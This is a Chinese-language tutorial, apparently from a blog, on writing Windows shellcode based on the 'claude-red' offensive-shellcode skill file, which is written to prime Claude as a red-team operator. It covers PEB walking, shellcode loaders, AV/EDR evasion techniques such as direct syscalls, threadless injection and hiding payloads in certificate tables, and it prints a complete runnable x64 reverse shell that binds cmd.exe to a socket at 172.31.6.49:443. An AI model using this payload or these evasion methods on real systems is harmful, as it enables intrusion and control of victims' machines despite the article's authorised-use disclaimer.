☰
Windows Shellcode 开发实战:PEB 遍历、位置无关代码与加载器构建(claude-red offensive-shellcode 技能深度解析)
2026/9/30 1:59:46 网站建设 项目流程
  • AI 技能
  • 网络安全
  • 渗透测试
  • 红蓝对抗
  • 应用安全

【免费下载链接】Claude-Red

claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.

项目地址:https://gitcode.com/GitHub_Trending/cl/Claude-Red
点击查看免费下载

本篇技术指南以 claude-red 仓库中 offensive-shellcode 技能 为骨架,系统讲解从零编写 x86/x64 Shellcode 的完整链路:位置无关代码(PIC)、Allocate-Write-Execute 执行模式、Windows PEB 遍历解析 API、Loader 构建与执行阶段对抗、PE 转 Shellcode 工具链、存储隐藏以及跨平台(ARM64 / eBPF / macOS)考量,并附一份可直接编译运行的完整 x64 Windows 反向 Shell 示例。读完你将掌握一套可落地的 Shellcode 开发与免杀方法论,能够在授权红队演练中独立设计、打包与投递自定义载荷。

技能概览:offensive-shellcode 在 claude-red 中的定位

claude-red 是一套面向 Claude Skills 系统的攻防技能库,每个技能都是一个结构化SKILL.md文件,用于在会话中按需唤起某一攻击面的专家级方法论。仓库 README.md 将其定位为"offensive security skills for Claude——把 Claude 变成一个具备上下文感知能力的红队操作员";其中Infrastructure & Red Team类别共 7 个技能,offensive-shellcode 聚焦"Shellcode——编写、编码、注入技术与位置无关代码",与 offensive-edr-evasion(EDR 绕过)、offensive-windows-mitigations(Windows 缓解机制)等形成协同覆盖。

该技能在技能清单 claude-skills.json 中登记于infrastructure分类,其触发描述覆盖:编写自定义 x86/x64 Shellcode、实现位置无关代码(PIC)、构建 Shellcode Loader、规避 AV/EDR 检测、将 PE 文件转换为 Shellcode,以及空字节规避、API 哈希、编码器/解码器模式、分阶段(staged)与无阶段(stageless)载荷、Windows PEB 遍历与跨平台 Shellcode 技术。

部署方式(详见 README.md 与 install.sh):

# 整库安装到 Claude skills 目录 git clone https://github.com/SnailSploit/claude-red ~/.claude/skills/claude-red # 只安装单个分类 ./install.sh --category infrastructure # 或直接以 system-file 方式注入 cat Skills/infrastructure/offensive-shellcode/SKILL.md | claude --system-file -

Claude 会根据对话中的触发词自动加载匹配技能,未使用的技能不占上下文。

Shellcode 开发工作流:六步闭环

技能文档给出的开发流程是一个"设计 → 编码 → 提取 → 优化 → 编码/加密 → 打包投递"的完整闭环:

  1. 定义概念与目标平台:明确架构(x86/x64)与操作系统(Windows / Linux / macOS),这决定后续所有的汇编写法、TEB/PEB 偏移与系统调用方式;
  2. 使用位置无关技术编写汇编:Shellcode 没有重定位表,必须保证任何地址都可运行,这是 PIC 技术的核心约束;
  3. 提取二进制并在受控环境测试:用汇编器/编译器生成裸字节,在隔离虚拟机中验证行为(WinDbg、x64dbg、沙箱);
  4. 空字节规避与优化:载荷中不能出现\x00等截断字节(常见于strcpy/memcpy投递场景),需要重排指令、用xor/add/shl构造立即数;
  5. 编码/加密规避静态检测:对提取的字节做 XOR、AES、RC4 或 LZMA 压缩,破坏静态特征;
  6. 与 Loader 打包并选择投递方式:将最终载荷装入 Loader(分配、解密、注入、执行),再选定投递通道(钓鱼附件、浏览器漏洞、供应链等)。

从源码结构看,该工作流与 offensive-initial-access(投递)、offensive-edr-evasion(执行阶段对抗)等技能形成前后衔接——Shellcode 开发只是链条中的一环。

基础概念

执行模式:Allocate-Write-Execute(分配-写入-执行)

核心铁律是避免直接的PAGE_EXECUTE_READWRITE(RWX)内存。原因有二:其一,RWX 页是内存扫描器与 EDR 的"最高信号"——可写又可执行的内存基本等同于"这里有恶意代码";其二,现代缓解机制(ACG/CFG)也会重点监视此类分配。正确姿势是三步走:

  1. 以PAGE_READWRITE分配内存;
  2. 将 Shellcode 写入该区域;
  3. 调用VirtualProtect将页面切换为PAGE_EXECUTE_READ(只读可执行,写完就不可再改)。

技能文档给出的最小示例:

char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); memcpy(dest, shellcode, 0x1234); VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old); ((void(*)())dest)();

其中0x1234仅为示例大小,实际以载荷长度为准;MEM_COMMIT|MEM_RESERVE(即0x3000,后文 Python 示例中VirtualAlloc的flAllocationType参数即为该值)表示同时提交并保留内存。这一"先写后改权限"的模式在本文 完整的反向 Shell 示例 中同样以PAGE_EXECUTE_READWRITE(0x40)演示了最简单的本地自执行路径——实战 Loader 应改为两步切换。

位置无关代码(PIC)技术

Shellcode 必须能在任意基址运行,因此需要运行时自定位。文档按平台整理了五种主流方案:

方法平台说明
Call/PopWindowscall next把下一条指令地址压栈,随后pop到寄存器
FPU 状态Windowsfstenv保存浮点环境,可从中提取指令指针
SEHWindows利用异常处理器中保存的 EIP 实现自定位
GOTLinux通过 Global Offset Table 解析共享库函数地址
VDSOLinux内核提供的虚拟动态共享对象,可用作自定位与 syscall 跳板

Windows 平台最常用的是 Call/Pop 模式(x86 的call $+5; pop ebx)与基于 TEB/PEB 的结构化定位;Linux 平台则依赖 GOT/VDSO,因为 ELF 与 PE 的加载机制差异决定了自定位路径不同。

Windows API 解析:PEB 遍历(PEB Walk)

Shellcode 不能依赖导入表(IAT)——因为它不是被加载器加载的合法模块。为此需要"无导入解析 API":从进程环境块(PEB,Process Environment Block)出发,手工遍历已加载模块链表,再解析导出地址表(EAT)找到所需函数。文档给出了标准六步流程:

  1. 获取 PEB:x64 用gs:[0x60],x86 用fs:[0x30](这是 Windows 内核暴露给用户态的结构化异常链与 TEB 路径);
  2. 遍历PEB->Ldr.InMemoryOrderModuleList:链表顺序为 exe → ntdll → kernel32,按固定偏移前进即可命中目标模块;
  3. 哈希比对模块名定位 kernel32:逐模块计算名称哈希,与预计算的 kernel32 哈希比对;
  4. 解析导出地址表(EAT):从 PE 头跳到导出目录,读取AddressOfNames/AddressOfNameOrdinals/AddressOfFunctions三张表;
  5. 按名称哈希找GetProcAddress,再解析LoadLibraryA:GetProcAddress是后续一切 API 解析的"万能钥匙";
  6. 用LoadLibraryA加载WS2_32.dll并解析 Winsock 函数:网络功能(socket、connect)都在 WS2_32 中,必须显式加载。

文档同时给出了 WinDbg 调试 PEB 遍历的辅助命令,用于在断点处验证每一步的寄存器与结构体内容:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb dt nt!_PEB -y Ldr <peb_addr> dt -r _PEB_LDR_DATA <ldr_addr> dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10) lm m kernel32 # verify base address r @r8 # check register

实战调试时,dt(display type)输出各结构的字段偏移,lm确认 kernel32 的实际加载基址,从而反查你的 PEB 遍历代码算出的基址是否一致。

Shellcode Loader 构建

Loader 是承载、解密并执行 Shellcode 的宿主程序,其质量直接决定载荷能否活过 EDR 的第一轮审查。

Loader 职责与语言选型

文档列出的 Loader 四大职责:

  • 环境验证 / 密钥绑定(keying):沙箱/蜜罐检测、机器指纹绑定,避免在分析环境中"裸奔";
  • Shellcode 解密:存储态通常是加密的,运行期才解密;
  • 安全的内存分配与注入:遵循本文"分配-写入-执行"两阶段权限切换;
  • 注入完成后结束使命:Loader 不应残留可疑痕迹。

推荐语言:Zig(体积小、无运行时)、Rust(内存安全)、Nim,以及 Go——但文档特别提醒 Go 生成的二进制带有明显的 Go 运行时签名(runtime.main、独特节区特征),容易被特征检测命中。

分配阶段

与 基础概念 中的铁律一致,Loader 也应避免 RWX 分配,采用两步切换:

  • VirtualAllocEx/NtAllocateVirtualMemory—— 先以RW分配;
  • ZwCreateSection+NtMapViewOfSection—— 备选方案,通过创建 Section 对象并映射视图来持有内存;
  • 写入完成后用VirtualProtectEx切换为RX。

其他内存载体还包括:code caves(在合法模块的未使用间隙中植入)、栈/堆(在 DEP 关闭的旧系统上可用)。

写入阶段

写入 API 分用户态与原生两条线:WriteProcessMemory/NtWriteVirtualMemory,或对映射的 Section 直接memcpy。文档给出三条写入期免杀技巧:

  • 前置 dummy 操作码:在真实载荷前拼接垃圾指令,干扰签名匹配与反汇编器;
  • 分块随机顺序写入:把载荷切成小块、打乱顺序写入,避免"一次性大块写入"这一行为特征;
  • 写入间插入延时:拉长写入时间线,规避基于时间窗口的行为分析。

执行阶段

文档明确指出执行阶段是被审查最严格的一步——EDR 会检查线程起始地址(thread start address)是否落在镜像背书(image-backed)的内存中;一旦线程起始地址指向无文件映射的匿名内存,几乎立刻触发告警。各执行技术的取舍如下:

技术说明
CreateRemoteThread/ZwCreateThreadEx声音大、被重度监控,属于"高可见度"基线手段
NtSetContextThread劫持已挂起线程,修改其上下文后恢复执行
NtQueueApcThreadExAPC 注入,借目标线程的 APC 队列执行
API trampolines覆盖合法函数序言(prologue),借壳执行
ThreadlessInject不创建任何新线程,规避线程创建相关监控

文档还列出了间接执行资源:FlavorTown(Wra7h 维护的进程注入技术合集)、AlternativeShellcodeExec(替代性 Shellcode 执行方式汇编)、ThreadlessInject(epi052 的无线程注入项目),以及 SysWhispers3 / FreshyCalls 这类直接系统调用辅助工具——后者已成为现代 Loader 的基线要求(详见后文 DripLoader 拆解)。

PE 转 Shellcode:把现成武器变成裸字节

很多实战场景并不需要手写汇编——手上有现成的 EXE/DLL(如 C2 的 beacon、自定义工具),需要把它们转成位置无关的 Shellcode。文档整理了四条工具链:

工具用途
DonutEXE/DLL → Shellcode,最常用的通用转换器
sRDIDLL → 位置无关 Shellcode(Shellcode Reflective DLL Injection)
Pe2shcPE → Shellcode,hasherezade 的作品
Amber反射式 PE 打包器(Reflective PE packer)

开源 Loader 生态(文档列举):

  • ScareCrow:将 Shellcode 伪装为合法签名的加载器;
  • NimPackt-v1:Nim 编写的打包/混淆框架;
  • NullGate(SpecterOps):间接系统调用 + junk-write(垃圾写入)时序组合;
  • DripLoader:分块 RW 写入 + 直接系统调用 + JMP trampoline(详见下文专节);
  • ProtectMyTooling:把多种保护(压缩、加密、反分析)链式叠加到同一工具上。

Shellcode 存储与隐藏

存储位置风险对比

Shellcode 在宿主文件中的存放位置直接决定被扫描器发现的概率:

位置风险说明
硬编码在.text中每次修改需重新编译;存储区为RW/RO
PE 资源(RCDATA)高AV 扫描最密集的区域
额外 PE 节区中建议使用倒数第二个节区
Certificate Table低保持已签名 PE 的签名完整性
互联网托管不定配合远程度取(如 SharpShooter 类工具)

Certificate Table 技巧(推荐)

这是文档重点推荐的低风险方案:PE 文件末尾的证书表(Certificate Table)属于"签名数据",AV 通常不会深扫。做法是:

  • 用 Shellcode 字节填充证书表区域,同时更新 PE 头中的相关字段;
  • 只 backdoor Loader DLL(例如 teams.exe 携带的ffmpeg.dll);
  • 效果:主可执行文件的签名保持有效,只有被替换的 DLL 签名被破坏——这大大降低了主程序的被检率。

存储态保护

存储态必须加密,文档建议的组合是:先用LZMA 压缩缩小体积并打乱结构,再以XOR32、RC4 或 AES加密,加载时在内存中解密。

Windows 11 24H2 特别提醒:AMSI 已启用堆扫描(heap scanning),会实时扫描活动堆内存中的明文载荷。对策是以PAGE_NOACCESS分配,解密就地完成后,再切换为PAGE_EXECUTE_READ——避免载荷以明文形态暴露在可扫描的堆上。

免杀(Evasion):渐进式升级路径

四阶渐进免杀

文档给出了一条清晰的"由简入繁"升级路线,可作为工程迭代的路线图:

  1. 基础 Shellcode 执行(基线):先让载荷跑起来;
  2. XOR/AES 加密 + 混淆:对抗静态签名与字符串扫描;
  3. 直接系统调用(direct syscalls):绕过用户态挂钩(userland hooks)——这是对抗 EDR 的关键一步,因为主流 EDR 都通过 hookntdll.dll用户态函数观察参数;
  4. 远程进程注入作为最后手段:本地执行已被盯上时才考虑,因为远程注入的监控点更多。

本地 vs 远程注入

远程注入更易被检测,原因在于它额外引入了一整条被监控的调用链:OpenProcess → Allocate → Write → Execute,每一步都是 EDR 的重点监视对象。此外远程注入还会撞上:

  • CFG / CIG强制(Code Integrity Guard 禁止非签名/非镜像代码执行);
  • ETW Ti事件馈送(线程创建、模块加载、映像加载等内核事件);
  • EDR 调用栈回溯(call-stack back-tracing):EDR 会检查NtOpenProcess的调用来源,确认是合法 API 还是直接 syscall、是否从可疑内存发起。

DefenderBypass 工具集

文档推荐了一套针对 Windows Defender 的实战工具(hackmosphere 维护的 DefenderBypass 项目),覆盖从加密到注入的完整链条:

  • myEncoder3.py—— XOR 加密二进制 Shellcode;
  • InjectBasic.cpp—— 基础 C++ 注入器;
  • InjectCryptXOR.cpp—— XOR 解密 + 注入;
  • InjectSyscall-LocalProcess.cpp—— 直接系统调用,IAT 中不出现可疑 API 条目;
  • InjectSyscall-RemoteProcess.cpp—— 经直接系统调用实现远程进程注入。

这套工具与本文的 Loader 三阶段(分配/写入/执行)一一对应,可作为从"编码器"到"注入器"的最小可运行参考实现。

跨平台考量

Shellcode 不止 Windows。文档覆盖了三个前沿平台的特殊性:

Windows on ARM64(WoA)

  • 系统调用使用SVC 0指令,服务表位于ntdll!KiServiceTableArm64(与 x64 的KiServiceTable不同);
  • Pointer Authentication(PAC)会对 LR(返回地址)签名——栈迁移(stack pivot)会破坏签名导致崩溃;如需修改控制流,必须用PACIASP指令重新签名。

Linux 6.9+(eBPF Arena)

  • BPF_MAP_TYPE_ARENA类型的映射可以持有可执行内存;
  • 将 Shellcode 分块藏在 arena map 中,通过bpf_prog_run_pin_on_cpu执行——这是内核 6.9 引入 eBPF arena 后出现的新型执行载体,对传统"匿名可执行页"检测是盲区。

macOS(Signed System Volume,SSV)

  • macOS 12+ 系统分区被密封签名(sealed),未签名载荷无法驻留系统分区;
  • 用户态思路:launch agents、dylib 劫持(/Library/Apple/System/Library/Dyld/目录下);
  • 内核持久化思路:创建密封快照 → 以读写挂载 → 注入 → 用kmutil重新签名 →bless——这是对 SSV 完整绕过的标准流程。

DripLoader 技术拆解:一个现代 Loader 的完整形态

文档用 DripLoader(xuanxuan0 的项目)作为"直接系统调用 + 分块写入 + trampoline"的集大成案例,六步如下:

  1. 以NO_ACCESS预留 64KB 内存块;
  2. 在该池内分配 4KBRW块;
  3. 随机顺序分块写入 Shellcode(配合写入延时,对抗时序行为分析);
  4. 重新保护为RX;
  5. 覆写ntdll!RtlpWow64CtxFromAmd64的函数序言为 JMP trampoline——把控制流"借道"到一个合法导出函数,使线程起始地址看起来落在 ntdll 内(镜像背书内存),这是对"thread start address 指向匿名内存"检测的直接反制;
  6. 全部调用走直接系统调用:NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx。

其中第 5 步正是前文"执行阶段"提到的API trampoline思想的工程化:不直接创建线程指向 Shellcode,而是让线程从 ntdll 的合法函数进入,中途跳向载荷,从而在 EDR 的线程起始地址检查中"隐身"。

完整 x64 Windows 反向 Shell Shellcode 实战

技能文档的压轴内容是一份可直接运行的 Python/Keystone 完整示例:实现 PEB 遍历 →GetProcAddress→LoadLibraryA→ Winsock connect →CreateProcessA(cmd.exe)的全链路,编译出的 Shellcode 在内存中执行后,会向攻击者主机弹出一个绑定到 TCP socket 的 cmd 反向 Shell。

import ctypes, struct from keystone import * CODE = ( # Locate kernel32 Base Address " start: " " add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space " find_kernel32: " " int3 ;" # WinDbg breakpoint (disable for release) " xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" # RAX = PEB " mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr " mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" # RBX = kernel32 base " mov r8, rbx ;" # Parse Export Address Table " mov ebx, [rbx+0x3C] ;" # PE signature offset " add rbx, r8 ;" # RBX = PE header " xor r12,r12 ;" " add r12, 0x88FFFFF ;" " shr r12, 0x14 ;" " mov edx, [rbx+r12] ;" # EAT RVA " add rdx, r8 ;" # RDX = EAT VA " mov r10d, [rdx+0x14] ;" # NumberOfFunctions " xor r11, r11 ;" " mov r11d, [rdx+0x20] ;" # AddressOfNames RVA " add r11, r8 ;" # AddressOfNames VA # Find GetProcAddress " mov rcx, r10 ;" " k32findfunction: " " jecxz functionfound ;" " xor ebx,ebx ;" " mov ebx, [r11+4+rcx*4] ;" # Function name RVA " add rbx, r8 ;" # Function name VA " dec rcx ;" " mov rax, 0x41636f7250746547 ;" # 'GetProcA' " cmp [rbx], rax ;" " jnz k32findfunction ;" # Get function address " functionfound: " " xor r11, r11 ;" " mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA " add r11, r8 ;" " inc rcx ;" " mov r13w, [r11+rcx*2] ;" # Ordinal " xor r11, r11 ;" " mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA " add r11, r8 ;" " mov eax, [r11+4+r13*4] ;" " add rax, r8 ;" # GetProcAddress VA " mov r14, rax ;" # R14 = GetProcAddress # Resolve LoadLibraryA " mov rcx, 0x41797261 ;" " push rcx ;" " mov rcx, 0x7262694c64616f4c ;" " push rcx ;" # 'LoadLibraryA' " mov rdx, rsp ;" " mov rcx, r8 ;" # kernel32 base " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(kernel32, LoadLibraryA) " add rsp, 0x40 ;" " mov rsi, rax ;" # RSI = LoadLibraryA # LoadLibrary("WS2_32.dll") " xor rax, rax ;" " mov rax, 0x6C6C ;" " push rax ;" " mov rax, 0x642E32335F325357 ;" " push rax ;" # 'WS2_32.dll' " mov rcx, rsp ;" " sub rsp, 0x30 ;" " call rsi ;" # LoadLibraryA("WS2_32.dll") " mov r15, rax ;" # R15 = WS2_32 base " add rsp, 0x40 ;" # WSAStartup " mov rax, 0x7075 ;" " push rax ;" " mov rax, 0x7472617453415357 ;" " push rax ;" # 'WSAStartup' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(ws2_32, WSAStartup) " add rsp, 0x40 ;" " mov r12, rax ;" " xor rcx,rcx ;" " mov cx,408 ;" " sub rsp,rcx ;" " lea rdx,[rsp] ;" # lpWSAData " mov cx,514 ;" # wVersionRequired = 2.2 " sub rsp,88 ;" " call r12 ;" # WSAStartup # WSASocketA — create socket " mov rax, 0x4174 ;" " push rax ;" " mov rax, 0x656b636f53415357 ;" " push rax ;" # 'WSASocketA' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " sub rsp,0x208 ;" " xor rdx, rdx ;" " sub rsp, 88 ;" " mov [rsp+32], rdx ;" " mov [rsp+40], rdx ;" " inc rdx ;" " mov rcx, rdx ;" " inc rcx ;" " xor r8,r8 ;" " add r8,6 ;" " xor r9,r9 ;" " mov r9w,98*4 ;" " mov ebx,[r15+r9] ;" " xor r9,r9 ;" " call r12 ;" # WSASocketA " mov r13, rax ;" # R13 = socket handle " add rsp, 0x208 ;" # WSAConnect — connect to C2 " mov rax, 0x7463 ;" " push rax ;" " mov rax, 0x656e6e6f43415357 ;" " push rax ;" # 'WSAConnect' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " mov rcx, r13 ;" # socket handle " sub rsp,0x208 ;" " xor rax,rax ;" " inc rax ;" " inc rax ;" " mov [rsp], rax ;" # AF_INET = 2 " mov rax, 0xbb01 ;" # Port 443 (big-endian) " mov [rsp+2], rax ;" " mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS " mov [rsp+4], rax ;" " lea rdx,[rsp] ;" " mov r8, 0x16 ;" # sizeof(sockaddr_in) " xor r9,r9 ;" " push r9 ;" " push r9 ;" " push r9 ;" " sub rsp, 0x88 ;" " call r12 ;" # WSAConnect # Re-locate kernel32 and resolve CreateProcessA " xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" " mov rax, [rax + 0x18] ;" " mov rsi, [rax + 0x20] ;" " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" " mov r8, rbx ;" " mov rax, 0x41737365636f ;" " push rax ;" " mov rax, 0x7250657461657243 ;" " push rax ;" # 'CreateProcessA' " mov rdx, rsp ;" " mov rcx, r8 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" # R12 = CreateProcessA # Push cmd.exe + build STARTUPINFOA " mov rax, 0x6578652e646d63 ;" " push rax ;" # 'cmd.exe' " mov rcx, rsp ;" # lpApplicationName " push r13 ;" # hStdError = socket " push r13 ;" # hStdOutput = socket " push r13 ;" # hStdInput = socket " xor rax,rax ;" " push ax ;" " push rax ;" " push rax ;" " mov rax, 0x100 ;" # STARTF_USESTDHANDLES " push ax ;" " xor rax,rax ;" " push ax ;" " push ax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " mov rax, 0x68 ;" " push rax ;" # cb = 0x68 " mov rdi,rsp ;" # RDI = &STARTUPINFOA # Call CreateProcessA " mov rax, rsp ;" " sub rax, 0x500 ;" " push rax ;" # lpProcessInformation " push rdi ;" # lpStartupInfo " xor rax, rax ;" " push rax ;" # lpCurrentDirectory = NULL " push rax ;" # lpEnvironment = NULL " push rax ;" " inc rax ;" " push rax ;" # bInheritHandles = TRUE " xor rax, rax ;" " push rax ;" " push rax ;" " push rax ;" # dwCreationFlags = 0 " mov r8, rax ;" # lpThreadAttributes = NULL " mov r9, rax ;" # lpProcessAttributes = NULL " mov rdx, rcx ;" # lpCommandLine = 'cmd.exe' " mov rcx, rax ;" # lpApplicationName = NULL " call r12 ;" # CreateProcessA ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) print("Encoded %d instructions..." % count) sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int), ) ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode))) print("Shellcode at %s" % hex(ptr)) input("Press ENTER to execute...") ht = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)), ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

代码逐段解读

  • 定位 kernel32 基址:mov rax, gs:[rcx + 0x60]取 PEB,[rax + 0x18]取Ldr,[rax + 0x20]取InMemoryOrderModuleList,两次lodsq跳过 exe 与 ntdll,第三个条目的[rax + 0x20]即 kernel32 基址——这正是 PEB 遍历 六步流程的落地实现;
  • 解析 EAT 找GetProcAddress:通过[rbx+0x3C]定位 PE 头,进而取得导出目录 RVA,遍历AddressOfNames逐项比对'GetProcA'前缀(注意此处用 8 字节立即数一次比较前 8 个字符),命中后经AddressOfNameOrdinals与AddressOfFunctions换算函数地址;
  • GetProcAddress复用:R14全程保存GetProcAddress,后续LoadLibraryA、WSAStartup、WSASocketA、WSAConnect、CreateProcessA全部通过call r14动态解析——零 IAT、零硬编码地址,这正是 Shellcode 的核心特征;
  • Winsock 调用:WSAStartup(版本 2.2,即wVersionRequired = 514)、WSASocketA(AF_INET = 2, SOCK_STREAM = 1, IPPROTO_TCP = 6)、WSAConnect依次完成网络握手;
  • 反弹 Shell:构建STARTUPINFOA(cb = 0x68,STARTF_USESTDHANDLES = 0x100,三个标准句柄均指向 socket),随后CreateProcessA(NULL, "cmd.exe", ..., bInheritHandles=TRUE, ...)把 cmd 的标准输入输出绑定到 socket——攻击者侧获得交互式 Shell;
  • 宿主执行:Python 端用 Keystone 汇编,VirtualAlloc以0x3000(MEM_COMMIT|MEM_RESERVE)分配、0x40(PAGE_EXECUTE_READWRITE)保护,RtlMoveMemory拷贝字节,CreateThread启动执行——演示了 Allocate-Write-Execute 的最简形态(实战 Loader 应改为两阶段权限切换)。

使用前必须修改的参数

注意:使用前必须更新 IP 与端口。

  • IP:0x31061fac(对应172.31.6.49,小端写入,0x31 0x06 0x1f 0xac即 172.31.6.49)——注释明确标注UPDATE THIS;
  • 端口:0xbb01(大端存储,0xbb 0x01即 443);
  • 监听端:nc -nvlp 443;
  • 调试用:汇编代码首行int3是 WinDbg 断点,发布前应移除。

Windows 11 23H2 注意:Smart App Control 可能拦截指向本地子网的出站 TCP 443/4444 流量,建议改用非常规端口或命名管道(named pipe)载荷。

结语:方法论闭环与相关技能

至此,从"手写汇编 → PIC 自定位 → PEB 遍历解析 API → 内存分配写入执行 → 加密存储 → 免杀升级 → 跨平台移植"的完整 Shellcode 开发方法论已经闭环。这套内容与 claude-red 中其他技能形成互补:

  • 执行阶段的 EDR 对抗细节可延伸至 offensive-edr-evasion(用户态 unhook、间接系统调用、PPID spoofing);
  • 对 CFG/CIG/ACG 等缓解机制的绕过前提可参考 offensive-windows-mitigations;
  • 载荷投递与利用链可衔接 offensive-initial-access 与 offensive-advanced-redteam;
  • 技能全景可查阅 MINDMAP.md,发布历史见 CHANGELOG.md。

最后必须强调:本文全部内容均为攻击性技术,只能在获得明确书面授权的红队演练、渗透测试、漏洞研究或 CTF 环境中使用,并在隔离虚拟机中测试,对任何未授权目标的利用均属违法行为。

  • AI 技能
  • 网络安全
  • 渗透测试
  • 红蓝对抗
  • 应用安全

【免费下载链接】Claude-Red

claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.

项目地址:https://gitcode.com/GitHub_Trending/cl/Claude-Red
点击查看免费下载
上一篇:3分钟突破CursorPro限制:开源工具实现AI编程助手永久免费使用
下一篇:Easydict 代码目录文档治理:一次废弃说明文档与配图的精确清理实录

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询